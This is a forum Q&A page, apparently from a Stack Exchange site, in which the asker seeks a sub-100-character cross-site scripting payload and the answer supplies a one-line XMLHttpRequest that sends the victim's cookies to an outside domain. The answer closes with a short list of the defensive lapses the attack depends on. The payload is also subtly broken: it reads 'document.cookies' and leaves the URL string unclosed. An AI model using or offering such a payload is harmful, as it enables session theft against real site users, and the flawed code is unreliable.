The rules also Include 1. No jQuery 2. Only through making an API AJAX request. 3.character limitation of 100 characters.

Can any suggest me how I can build a payload sticking with these rules.

var xhr=new XMLHttpRequest;xhr.open("POST","https://{short_domain"),xhr.send(document.cookies);

You have here around 90 characters (depending on the domain URL you are calling), no JQuery and AJAX call.

Unfortunately this solution assumes that what could be done wrong regards security, was done wrongly: No input validation (whitelisting), no output encoding, cookies without http-only flag, no Content Security Policy. I hope no such a page exists.

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.